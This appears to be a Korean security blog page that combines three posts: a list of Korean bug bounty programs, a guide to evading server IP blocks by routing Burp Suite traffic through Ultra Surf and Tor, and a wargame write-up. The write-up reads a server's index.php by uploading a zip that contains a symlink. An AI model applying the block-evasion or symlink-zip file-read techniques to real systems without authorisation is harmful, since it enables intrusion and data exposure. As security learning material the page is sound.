아래에 나온 기업을 대상으로 버그 바운티를 진행하시면 될 것 같습니다.

https://www.krcert.or.kr/consult/software/vulnerability.do 왼쪽 링크에 가셔서 정책과 주의사항을 다시 한번 확인하시고 진행하시길 바랍니다^^

 

4. 자체 플랫폼 - NAVER

네이버는 국내에서 자체로 버그 바운티 프로그램을 운영하고 있는 기업 중 하나입니다.

 

위의 도메인과 소프트웨어를 대상으로 버그 바운티를 운영 중이며, 

자세한 사항은 https://bugbounty.naver.com/ko/에서 확인하시면 됩니다.

 

5. 자체 플랫폼 - RidiBooks

리디북스에서도 현재 버그 바운티를 자체적으로 운영하고 있습니다.

 

대상의 위의 도메인과 애플리케이션을 참고하시면 되고요,

https://ridi.dev/bounty.html에서 더 자세한 사항 확인하시면 됩니다.

 

 

 

현재 기준으로 버그 바운티가 가능한 플랫폼을 정리해보았습니다. 추후 다른 곳을 찾으면 추가로 업로드하겠습니다.

반응형

'Study > Bug Bounty' 카테고리의 다른 글

[XSS]Blind XSS(Cross Site Scripting)  (2) 2021.01.20
[XSS] DOM Based XSS(Cross Site Scripting)  (0) 2020.04.17
반응형

모의해킹이나 취약점 진단 업무를 수행하다 보면 서버 측의 방화벽으로 인해 IP 주소가 차단되는 경우가 있습니다.

 

이러한 경우 지속적으로 IP 주소를 변경하는 작업이 필요한데요,

 

Ultra Surf 툴과 Tor Browser를 이용해서 IP 주소를 우회해보고, Proxy 설정까지 해보도록 하겠습니다.

 

우선, 제 컴퓨터의 IP 주소를 확인해보면

39.xx 이며 위치 또한 한국인 것을 알 수 있습니다.

 

방법 1. Ultra Surf

Step 1) Ultra Surf 툴 다운로드 및 실행

Ultra Surf 홈페이지 >> https://ultrasurf.us/ 왼쪽의 링크를 통해 들어가신 후 우측 상단의 Free Download를 클릭하면

"u.zip" 파일이 다운로드 됩니다.

Ultra Surf는 무설치 프로그램이기 때문에 "u.zip" 압축을 푸신 후 실행파일을 더블 클릭하는 것 만으로 실행시킬 수 있습니다.

 

Ultra Surf 프로그램을 실행하면, 자동으로 서버와 연결시켜 줍니다.

기본적으로 9666 포트 또한 Listen 하고 있는 상태입니다.

 

Step 2) 우회된 IP 주소 확인

단순히 Ultra Surf 파일을 실행하는 것 만으로 IP 주소가 변경된 것을 확인할 수 있습니다.

 

위와 같이 원래 저의 IP 39.xx(한국)이 아닌 미국 IP 주소로 변경되었습니다.

 

Step 3) Burp Suite Configuration Setting

Burp Suite 툴을 이용해 Proxy 서버를 통해 전송되는 패킷을 잡아보도록 하겠습니다.

[User option - Upstream Proxy Server - Add] 메뉴에 들어가서 아래와 같이 세팅합니다.

 

Step 4) Packet Intercept 확인

우회된 IP 주소를 이용해 전송되는 Request 와 Response가 정상적으로 잡히는 것을 확인할 수 있습니다.

 

방법 2. Tor Browser

Step 1) Tor Browser 다운로드 및 실행

Tor 홈페이지 >> https://www.torproject.org/download/ 왼쪽 링크로 들어간 후 윈도우 용 토르 브라우저를 다운로드 합니다.

 

다운로드 후 설치 진행하고 토르 브라우저를 실행시킵니다.

 

Step 2) 우회된 IP 주소 확인(Tor Browser)

Tor 또한 단순히 토르 브라우저를 사용하는 것 만으로도 IP 주소가 변경된 것을 확인할 수 있습니다.

 

원래의 제 컴퓨터 IP 39.xx(한국)이 아닌 미국 IP 주소로 변경되었습니다.

 

Step 3) Tor Configuration Setting

[메뉴 - options - Advanced] 에 들어가 토르의 Socks5 설정을 아래와 같이 세팅해줍니다.

 

Step 4) Burp Suite Configuration Setting

이번에는 Burp Suite 툴에서 설정 세팅을 진행합니다.

[User option - Socks Proxy] 메뉴에서 Use SOCKS proxy를 체크하고 아래와 같이 설정해줍니다.

Do DNS looksups over SOCKS proxy 또한 체크해줍니다.

 

 

Step 5) 우회된 IP 주소 확인(Chrome)

Socks 포트를 열어주면 이제 Chrome 등의 타 브라우저에서 IP 주소가 변경된 것을 확인할 수 있습니다.

Chrome 브라우저에서 IP 정보를 확인한 것입니다. 한국 IP 주소가 아닌 미국으로 변경되어 있습니다.

 

 

Step 6) Packet Intercept 확인

우회된 IP 주소를 이용해 전송되는 Request 와 Response가 정상적으로 잡히는 것을 확인할 수 있습니다.

 

※ 악용금지!!  

반응형
반응형

ZIP 파일 업로드 관련 문제입니다.

 

문제에 접속해보니, 파일을 업로드할 수 있는 화면이 보여집니다.

 

우선, 테스트 용도로 test.php 파일을 test.zip으로 압축한 후에 업로드를 시도해보았습니다.

 

zip 확장자를 가진 파일이 정상적으로 업로드 되었으며, 업로드를 완료하니

화면에 해당 파일을 unzip 할 수 있는 버튼이 출력되었네요.

클릭해봅니다.

 

제가 올린 test.zip 파일의 압축이 풀리면서 해당 파일 내에 있던 test.php 파일이 보이네요.

해당 파일을 클릭해보았습니다.

 

403 Forbidden 에러가 출력되었습니다.

음,, 일단 404 Not Found 에러는 아니니 파일은 존재하는 것이고,

test.php 파일 위에 있는 8caba7d65b81501f3b65eca199c28ace.zip 파일을 클릭하였을때, 정상적으로 다운받아 지는 것을 보니 서버 내 php 파일 실행 권한이 없는 것으로 보입니다.

 

해당 문제의 목표는 index.php 파일을 읽어야하는데, 어떻게 해결할지 구글링을 해보다가

리눅스의 symbolic link 파일이 zip 파일로 패킹될 수 있다는 사실을 알 수 있었습니다.


심볼릭 링크란?

특정 파일이나 디렉토리를 참조하는 것으로, 윈도우의 "바로가기"라고 할 수 있다.

 

-심볼릭 링크 생성 명령어

ln -s [원본 파일 또는 디렉토리] [심볼릭 링크 이름]

-심볼릭 링크 삭제 명령어

rm [심볼릭 링크 이름]


이를 이용해 ../../../index.php 파일을 참조하는 심볼릭 링크 파일을 만들었고,

zip으로 패킹 시 심볼릭 링크를 포함시키는 옵션(--symlinks -r)을 주어 zip 파일을 생성하였습니다.

 

생성한 zip 파일을 업로드 후 웹 화면으로 unzip 하였더니 심볼링 링크 파일인 test.txt 파일이 보이네요.

클릭합니다.

 

해당 심볼링 링크 파일이 참조하고 있는 ../../../index.php 파일의 코드를 볼 수 있습니다!

flag 값이 보이네요. 

반응형

+ Recent posts

반응형
반응형